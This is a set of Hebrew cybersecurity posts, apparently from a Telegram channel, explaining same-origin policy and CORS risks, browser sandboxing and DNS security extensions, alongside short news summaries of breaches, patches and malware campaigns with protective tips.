מדיניות המקור הזהה היא כלל אבטחה הנאכף על ידי הדפדפן, הקובע כברירת מחדל:
סקריפט (למשל, קוד JavaScript) שנטען ממקור אחד, יכול לגשת למשאבים ולמידע רק מאותו המקור.
המשמעות היא שסקריפט מאתר A אינו יכול לבצע בקשת רשת (באמצעות XMLHttpRequest או fetch) לאתר B ולקרוא את התגובה. הדפדפן יחסום את הגישה לנתונים החוזרים.
חשוב לדייק: SOP אינו חוסם את שליחת הבקשה. במקרים רבים, הבקשה תישלח לשרת של אתר B. מה שה-SOP חוסם הוא את הגישה של הסקריפט באתר A לתגובה שחזרה מהשרת.
מדיניות זו חיונית להגנה על מידע רגיש. ללא SOP, כל אתר זדוני יכל "לשאוב" מידע מכל שירות אחר שאליו אתם מחוברים באותו הדפדפן, על ידי שליחת בקשות בשמכם (שכוללות את העוגיות שלכם) וקריאת התשובות.
🔩 פרקטיקה: הצורך בתקשורת בין-מקורית ו-CORS
בעולם הווב המודרני, הבנוי על מיקרו-שירותים ו-APIs, הכלל הנוקשה של SOP אינו מספק. לעיתים קרובות, יש צורך לגיטימי בתקשורת בין מקורות שונים. לדוגמה, אפליקציית רשת (Front-end) שרצה בדומיין https://app.my-service.com צריכה לגשת ל-API שזמין בדומיין https://api.my-service.com.
כאן נכנס לתמונה מנגנון ה-CORS (Cross-Origin Resource Sharing).
מהו CORS?
יCORS הוא מנגנון סטנדרטי המאפשר לשרתים להרפות באופן מבוקר ממגבלות ה-SOP. הוא עובד באמצעות תוספת של כותרות (Headers) מסוימות לבקשות ולתגובות HTTP.
תהליך בקשת CORS פשוטה:
הדפדפן (ממקור A) שולח בקשה למשאב ממקור B. הדפדפן מוסיף אוטומטית לבקשה את הכותרת:
Origin: https://source-A.com
השרת במקור B מקבל את הבקשה, בודק את ערך הכותרת Origin, ומחליט אם לאשר את הבקשה על פי רשימת המקורות המורשים שלו.
אם השרת מאשר את הבקשה, הוא מוסיף לתגובת ה-HTTP את הכותרת:
Access-Control-Allow-Origin: https://source-A.com
הדפדפן מקבל את התגובה. אם הוא רואה את כותרת ה-Access-Control-Allow-Origin עם ערך התואם למקור של הבקשה, הוא מאפשר לסקריפט לגשת לנתונים שבתגובה. אם הכותרת חסרה או אינה תואמת, הדפדפן יחסום את הגישה לנתונים.
סיכוני אבטחה בקונפיגורציה שגויה של CORS
הכוח של CORS הוא גם מקור הסיכון שלו. קונפיגורציה שגויה עלולה לפתוח פרצות אבטחה חמורות. הטעות הנפוצה והמסוכנת ביותר היא שימוש בתו הכללי (wildcard):
Access-Control-Allow-Origin: *
כותרת זו אומרת לדפדפן: "אני מרשה לכל אתר באינטרנט לגשת לנתונים מהשרת הזה".
התרחיש המסוכן:
נניח ששירות ה-API שלכם בכתובת https://api.my-service.com מוגדר עם Access-Control-Allow-Origin: *.
תוקף מקים אתר זדוני בכתובת https://evil-site.com.
הוא שולח משתמש תמים (שמחובר לשירות שלכם) לאתר הזדוני.
הסקריפט באתר הזדוני שולח בקשת fetch ל-API שלכם (https://api.my-service.com/get-user-data).
הדפדפן של המשתמש שולח את הבקשה, ומצרף אליה אוטומטית את עוגיות האימות של המשתמש עבור api.my-service.com.
ה-API שלכם מזהה את המשתמש ומחזיר את המידע הפרטי שלו.
מכיוון שה-API החזיר
Access-Control-Allow-Origin: *,
הדפדפן מאפשר לסקריפט באתר הזדוני לקרוא את התגובה, וכך המידע הפרטי של המשתמש נגנב.
674
סדרת פוסטים: מנגנוני האבטחה של הדפדפן | פוסט 1: ארכיטקטורה ובידוד תהליכים
ברוכים הבאים לסדרת פוסטים על מנגנוני האבטחה הפנימיים של הדפדפן. בסדרה זו ננתח את שכבות ההגנה שמאפשרות גלישה בטוחה יחסית, ונבין כיצד הן פועלות וכיצד תוקפים מנסים לעקוף אותן.
היום נתחיל ברכיב הבסיסי ביותר במבנה הדפדפן המודרני: הארכיטקטורה מרובת התהליכים ומנגנון ה-Sandboxing.
⚙️ רקע תיאורטי: המעבר מארכיטקטורה מונוליטית לריבוי-תהליכים
בעבר, דפדפנים פעלו על בסיס ארכיטקטורה מונוליטית, כלומר כתהליך (Process) בודד. גישה זו יצרה בעיות יציבות ואבטחה משמעותיות:
יציבות: קריסה של רכיב אחד, כמו פלאגין או קוד JavaScript באתר ספציפי, גרמה לקריסת כלל הדפדפן על כל חלונותיו.
אבטחה: חולשת אבטחה שנוצלה באתר אחד יכלה פוטנציאלית לאפשר גישה לנתונים מכלל האתרים האחרים שהיו פתוחים באותו תהליך.
כדי לפתור בעיות אלו, דפדפנים מודרניים עברו לארכיטקטורת ריבוי-תהליכים (Multi-process Architecture). במסגרת מודל זה, משימות הדפדפן מפוצלות בין מספר תהליכים עצמאיים:
תהליך הדפדפן הראשי (Browser Process): זהו התהליך המרכזי, בעל רמת ההרשאה הגבוהה ביותר. הוא אחראי על ניהול ממשק המשתמש (UI), ניהול הרשאות (גישה למצלמה, מיקרופון, קבצים), וניהול כל שאר התהליכים. הוא אינו מעבד קוד מאתרי אינטרנט.
תהליכי רינדור (Renderer Processes): לרוב, נוצר תהליך רינדור נפרד עבור כל אתר או טאב. תהליך זה אחראי על עיבוד קוד המגיע מהרשת (HTML, CSS, JavaScript) והצגתו למשתמש. מכיוון שהוא מריץ קוד לא אמין, הוא פועל תחת מגבלות אבטחה מחמירות.
תהליכים נוספים: קיימים תהליכים ייעודיים נוספים, כמו תהליך GPU המטפל בתקשורת עם החומרה הגרפית, ותהליך רשת (Network Process) המרכז את כל התקשורת מול שרתים חיצוניים. בידוד זה תורם ליציבות ולאבטחה.
📦 מנגנון ה-Sandbox
מנגנון ה-Sandbox הוא קונספט אבטחה קריטי המיושם על תהליכי הרינדור. מדובר בסביבת הרצה מבודדת ומגבילה, שאוכפת את "עקרון ההרשאה המינימלית" (Principle of Least Privilege).
לתהליך רינדור הפועל בתוך Sandbox אין גישה ישירה למשאבי מערכת ההפעלה:
הוא אינו יכול לקרוא או לכתוב קבצים באופן ישיר.
הוא אינו יכול ליצור חיבורי רשת ישירים.
הוא אינו יכול לגשת לזיכרון של תהליכים אחרים.
כל פעולה הדורשת הרשאה גבוהה יותר חייבת לעבור דרך תיווך של תהליך הדפדפן הראשי. התקשורת ביניהם מתבצעת באמצעות ערוץ מבוקר ומפוקח שנקרא IPC (Inter-Process Communication). למשל, כאשר המשתמש לוחץ על קישור להורדת קובץ, תהליך הרינדור שולח בקשת IPC לתהליך הראשי, והתהליך הראשי הוא זה שמבצע את פעולת הכתיבה לכונן, לאחר קבלת אישור מהמשתמש.
📈 פרקטיקה: תקיפת Sandbox Escape
בהינתן המגבלות של ה-Sandbox, מטרת התוקף היא למצוא דרך לעקוף אותן, בתהליך המכונה Sandbox Escape. זוהי בדרך כלל התקפה רב-שלבית:
שלב 1: הרצת קוד מרחוק בתהליך הרינדור (Renderer RCE)
בשלב הראשון, התוקף חייב להשיג יכולת להריץ קוד בתוך תהליך הרינדור. הוא עושה זאת על ידי ניצול חולשת אבטחה באופן עיבוד התוכן, למשל:
חולשות במנוע ה-JavaScript: באגים כמו Type Confusion במנועי JIT (Just-In-Time).
חולשות בספריות מדיה: באגים כמו Buffer Overflow בספריות המעבדות תמונות, פונטים או וידאו.
בסיום שלב זה, קוד התוקף רץ, אך הוא עדיין מוגבל על ידי ה-Sandbox.
שלב 2: הסלמת הרשאות (Privilege Escalation)
כעת, הקוד הזדוני שרץ בתוך ה-Sandbox מנסה לנצל חולשה שנייה, הפעם במנגנון הבקרה עצמו, כדי לפרוץ את הבידוד. וקטורי התקיפה הנפוצים כוללים:
חולשות במנגנון ה-IPC: ניצול באג באופן שבו תהליך הדפדפן הראשי מעבד בקשות מתהליך הרינדור.
חולשות בקרנל (Kernel) של מערכת ההפעלה: ניצול באג באופן שבו הקרנל מטפל ב"קריאת מערכת" (syscall) ספציפית המותרת לתהליך שב-Sandbox. ניצול מוצלח יכול להוביל להשתלטות מלאה על המערכת.
שרשרת ניצול (Exploit Chain) כזו היא מורכבת ובעלת ערך גבוה, והיא מהווה סיכון אבטחה חמור.
השלכה מעשית:
ההגנה היעילה ביותר של משתמשים נגד התקפות כאלו היא שמירה על דפדפן מעודכן. עדכוני אבטחה שמשחררות יצרניות הדפדפנים מכילים תיקונים לחולשות שעלולות לאפשר התקפות Sandbox Escape.
📝 סיכום והקדמה:
לסיכום, ארכיטקטורת ריבוי-התהליכים ומנגנון ה-Sandbox מהווים חלקים בסיסיים במודל האבטחה של הדפדפן. הם יוצרים בידוד בין רכיבים ומיישמים את עקרון ההרשאה המינימלית כדי להגביל נזק פוטנציאלי מקוד זדוני.
בפוסט הבא בסדרה, נדון במנגנון הגנה מרכזי נוסף ברמת הווב: מדיניות המקור הזהה (Same-Origin Policy - SOP). נסביר מהי, כיצד היא מונעת גניבת מידע בין אתרים, ואילו מנגנונים קיימים כדי לאפשר תקשורת מבוקרת בין מקורות שונים.
שאלות? הערות? שתפו בתגובות! 👇
הצטרפו לערוץ @CYBERSECURITYCODING
674
🚨 מעצר דרמטי באיטליה: האקר סיני נעצר בחשד לריגול סייבר נרחב נגד ארה"ב! 🇨🇳💻🇺🇸
👤 שמו של החשוד: Xu Zewei – מואשם בפריצה למערכות של יותר מ־12,700 קורבנות, כולל מחקרי חיסונים רגישים 🧬💉
🕵️♂️ השתמש בפרצות Zero-Day ב־Microsoft Exchange כדי לחדור לרשתות – הכל כחלק מקמפיין ריגול סייבר עצום
🌪️ לפי הדיווחים, פעל מטעם קבוצת הסייבר הסינית הנתמכת על ידי המדינה: Silk Typhoon (לשעבר Hafnium)
🌍 המעצר התרחש באיטליה, לבקשת ארה"ב – מהלך שעשוי להוביל להסגרה ולמשפט תקדימי בתחום פשיעת הסייבר הבינלאומית ⚖️
📎 כל הפרטים כאן → https://thehackernews.com/2025/07/chinese-hacker-xu-zewei-arrested-for.html
📲 רוצים להישאר מעודכנים על פרצות, מתקפות, כלים וטכניקות מהשטח?
הצטרפו עכשיו לקבוצת הטלגרם שלנו – המקום שבו סייבר זה לא רק תחום, זה סגנון חיים:
🔗 https://t.me/CyberSecurityCoding
העולם משתנה – תישארו צעד אחד לפני. 🧠🛡️
674
🔥🚨 עדכון אבטחה מסיבי ממיקרוסופט – חובה לכל ארגון ומשתמש! 🚨🔥
מיקרוסופט שחררה תיקון ל־130 חולשות אבטחה – ולראשונה מזה כמעט שנה, אף אחת מהן לא נוצלה בפועל על ידי תוקפים. חדשות טובות, אבל זה לא אומר שאפשר להירגע 😬
🔴 פרצה אחת עם ציון 9.8 מתוך 10 נחשבת ל־Wormable – כלומר, תוקף יכול לנצל אותה כדי להתפשט בין מחשבים בלי צורך בהתערבות משתמש. מזכיר מאוד את מתקפת WannaCry המפורסמת מ־2017.
🧠 פרצה נוספת ב־SQL Server מאפשרת דליפת זיכרון – מה שעלול לחשוף מידע רגיש כמו סיסמאות, מפתחות הצפנה או נתונים עסקיים.
🧩 שאר התיקונים כוללים בעיות ב־Windows, Office, Azure, .NET ועוד – חלקם קריטיים במיוחד בסביבות ארגוניות.
🛡️ מה עושים עכשיו?
מריצים עדכונים בכל תחנות הקצה והשרתים
בודקים התאמה של עדכונים לסביבות קריטיות
עוקבים אחרי דיווחים על ניסיונות ניצול עתידיים
📎 לפרטים המלאים ולרשימת החולשות →
https://thehackernews.com/2025/07/microsoft-patches-130-vulnerabilities.html
📲 רוצים להישאר מעודכנים בזמן אמת?
לקבל כלים, קודים, טכניקות פריצה והגנה, ולדבר עם מומחים בתחום?
הצטרפו עכשיו לקבוצת הטלגרם שלנו – הקהילה הכי חמה בסייבר:
🔗 https://t.me/CyberSecurityCoding
הגנה מתחילה בידע. אל תישארו מאחור. 💡🛡️
674
🚨 אזהרה חמורה למפתחי את'ריום ו-Web3!
תוסף פופולרי ל-VS Code לפיתוח חוזים חכמים נפרץ והוזרקו אליו שתי שורות קוד זדוניות בלבד—שמספיקות כדי להריץ סקריפטים מסתוריים דרך PowerShell 🖥️💣
🔍 מה קרה בפועל?
מפתח זדוני הגיש Pull Request עם שינוי קטן אך קטלני: שתי שורות קוד שהפעילו PowerShell ברקע.
הקוד הוריד והפעיל סקריפטים חיצוניים ממקורות לא ידועים—מבלי שהמשתמשים הבחינו בכך.
מעל 6,000 מפתחים התקינו את הגרסה הנגועה לפני שהבעיה התגלתה. 😱
💰 מה הסיכון?
🪙 גניבת מטבעות קריפטו דרך גישה לארנקים או מפתחות פרטיים
🧪 הרעלת חוזים חכמים (Contract Poisoning) – שינוי קוד או הטמעת דלתות אחוריות
📡 שליטה מרחוק על סביבת הפיתוח של הקורבן
🛡️ איך להגן על עצמך?
בדוק תמיד את היסטוריית השינויים (commits) וה-Pull Requests של תוספים שאתה מתקין.
השתמש בגרסאות חתומות ומאומתות בלבד.
הגבל הרשאות ריצה של PowerShell או סקריפטים במערכת שלך.
שקול להשתמש בסביבות פיתוח מבודדות (sandboxed) לפרויקטים רגישים.
📎 לקריאה מלאה:
The Hacker News – Malicious Pull Request Infects 6,000+ Devs
💬 רוצה להישאר מעודכן בפרצות, כלים וטכניקות הגנה?
הצטרף עכשיו לקבוצת הטלגרם שלנו:
👉 https://t.me/CyberSecurityCoding
קהילה מקצועית, עדכונים בזמן אמת, וטיפים מעשיים לאבטחת קוד וסייבר! 🛡️👨💻
674
🚨 יותר מ-90,000 משתמשי אנדרואיד נדבקו בתוכנת זדון בנקאית דרך אפליקציית PDF מזויפת ב-Google Play! 📱💀
האפליקציה, שהתחזתה לכלי לקריאת קבצי PDF, טיפסה למקום הרביעי בקטגוריית הכלים (Tools) בחנות האפליקציות של גוגל – לפני שזוהתה והוסרה. 😱📉
🔍 מה קרה בפועל?
האפליקציה הציגה מסכי "תחזוקה" מזויפים 🛠️ כדי להסתיר את פעילותה האמיתית.
בזמן שהמשתמש חשב שהאפליקציה לא זמינה, היא פעלה ברקע כדי לגנוב פרטי התחברות לחשבונות בנק 🏦🔐.
לאחר מכן, התוקפים יכלו לרוקן את החשבונות – מבלי שהמשתמש יבחין בכך 💸💸.
🎯 מי הותקף?
משתמשים בארה״ב ובקנדה היו היעד העיקרי של ההונאה.
האפליקציה השתמשה בגרסה חדשה של סוס טרויאני בשם Anatsa, הידוע ביכולותיו לעקוף אימות דו-שלבי ולבצע העברות כספים אוטומטיות.
🛡️ מה אפשר לעשות כדי להגן על עצמך?
הימנע מהורדת אפליקציות לא מוכרות—even אם הן פופולריות או מדורגות גבוה.
בדוק ביקורות משתמשים ודרוש הרשאות חשודות.
השתמש באימות דו-שלבי (2FA) ובאפליקציות אבטחה אמינות.
עדכן את מערכת ההפעלה והאפליקציות שלך באופן קבוע 🔄.
📎 לקריאה מלאה: The Hacker News – Anatsa Banking Trojan
💬 הצטרפו לקבוצת הטלגרם שלנו לעדכונים חמים, כלים, וטיפים באבטחת מידע:
https://t.me/CyberSecurityCoding
קהילה מקצועית, ידע מעשי, והגנה אמיתית – במקום אחד! 🛡️👨💻
674
🛡️י DNS Deep Dive (5/5): מנגנוני הגנה - DNSSEC, DoH ו-DoT 🛡️
בפרקים הקודמים של הסדרה ראינו שפרוטוקול ה-DNS המקורי נבנה על אמון, והוא מטבעו "שביר" וחשוף למניפולציות. החדשות הטובות הן שהעולם הטכנולוגי לא נשאר אדיש. היום נכיר את שכבות ההגנה המודרניות שנועדו להחזיר את הביטחון והפרטיות לפרוטוקול החשוב הזה.
יDNSSEC: חותמת האבטחה הדיגיטלית
הבעיה שהוא פותר: הרעלת מטמון (Cache Poisoning). כפי שראינו, תוקף יכול לזייף תשובת DNS ולשלוח אתכם לאתר זדוני.
הפתרון - הבטחת אותנטיות ושלמות (Authenticity & Integrity):
יDNSSEC (DNS Security Extensions) לא מצפין את תעבורת ה-DNS. המידע נשאר גלוי. במקום זאת, הוא מוסיף חתימה דיגיטלית לכל רשומת DNS.
דמיינו שכל תשובת DNS מגיעה במעטפה, ו-DNSSEC הוא החתימה של השולח על המעטפה. אתם עדיין יכולים לקרוא את המכתב שבפנים, אבל החותמת מוכיחה לכם שהמכתב אכן הגיע מהשולח (השרת הסמכותי) ולא נפתח או שונה בדרך.
באמצעות שימוש במפתחות קריפטוגרפיים (ציבוריים ופרטיים), DNSSEC מאפשר ל-Recursive Resolver שלכם לוודא ב-100% שהתשובה שקיבל היא אכן התשובה המקורית. אם תוקף ינסה לשנות את התשובה בדרך, החתימה הדיגיטלית תישבר, והשרת יזהה את הזיוף וידחה את התשובה.
איך בודקים? אפשר להשתמש בכלים אונליין כמו dnssec-analyzer.verisignlabs.com כדי לראות אם דומיין מסוים מאובטח באמצעות DNSSEC.
יDoH ו-DoT: מעטפת הפרטיות שלכם
הבעיה שהם פותרים: חוסר פרטיות (Confidentiality). כברירת מחדל, כל שאילתות ה-DNS שאתם שולחים נשלחות כטקסט גלוי (Plain Text). זה כמו לשלוח גלויה בדואר 📬 – כל מי שבדרך (בית הקפה, ספקית האינטרנט שלכם, גורמי ממשל) יכול לקרוא לאילו אתרים אתם גולשים. DNSSEC לא פותר את בעיית הפרטיות הזו.
הפתרון - הצפנה:
יDNS over TLS (DoT) ו-DNS over HTTPS (DoH) עוטפים את שאילתות ה-DNS שלכם במעטפת מוצפנת, והופכים את הגלויה למכתב סגור בתוך קופסת מתכת נעולה 🔒.
יDNS over TLS (DoT): יוצר ערוץ מוצפן ייעודי לתעבורת DNS על פורט 853. קל יחסית למנהלי רשת לזהות ולנהל את התעבורה הזו.
יDNS over HTTPS (DoH): מתוחכם יותר. הוא מסווה את שאילתות ה-DNS כתעבורת גלישה רגילה (HTTPS) על פורט 443. מכיוון שרוב תעבורת האינטרנט כיום מוצפנת ב-HTTPS, קשה מאוד לחסום או לנטר DoH בלי לפגוע בגלישה הלגיטימית. זה מעולה לפרטיות המשתמש, אך לעיתים יוצר אתגרים לרשתות ארגוניות שרוצות לנטר את התעבורה שלהן.
כיום, מערכות הפעלה מודרניות (Windows, Android, iOS) ודפדפנים (כרום, פיירפוקס) כבר תומכים ב-DoH/DoT ומאפשרים למשתמשים להפעיל זאת בקלות דרך ההגדרות.
סיכום הסדרה: ארגז הכלים השלם
עברנו מסע ארוך:
הבנו את היסודות: מה זה DNS ואיך עובד תהליך התרגום משם לכתובת.
צללנו לעומק: הכרנו את סוגי הרשומות השונים (MX, TXT, CNAME...).
חשפנו התקפות קלאסיות: למדנו איך מרעילים את המטמון (Cache Poisoning).
גילינו שימוש זדוני: ראינו איך תוקפים משתמשים ב-מנהור DNS כדי לגנוב מידע.
הצטיידנו בהגנות: הכרנו את הפתרונות המודרניים.
לסיכום, הנה ארגז הכלים להתמודדות עם איומי DNS:
הבעיה: תשובות DNS מזויפות (הרעלה) ⬅️ הפתרון: DNSSEC להבטחת שלמות ואותנטיות ✅.
הבעיה: חוסר פרטיות וריגול אחר השאילתות שלכם ⬅️ הפתרון: DoH / DoT להשגת סודיות והצפנה 🔒.
הבעיה: שימוש לרעה בפרוטוקול (מנהור, C2) ⬅️ הפתרון: ניטור תעבורה ו-DNS Firewalls לזיהוי ומניעה 🚨.
פרוטוקול ה-DNS התחיל את דרכו בעולם תמים יותר. האיומים שסקרנו אילצו אותו להתפתח ולהתמגן. ההבנה של מנגנוני ההגנה האלו היא קריטית לכל מי שמתענין בסייבר, הגנה או רשתות.
תודה שהצטרפתם אליי למסע הזה לעומק נבכי ה-DNS! מקווה שהסדרה הייתה מועילה ומעשירה.
הצטרפו לערוץ @CYBERSECURITYCODING
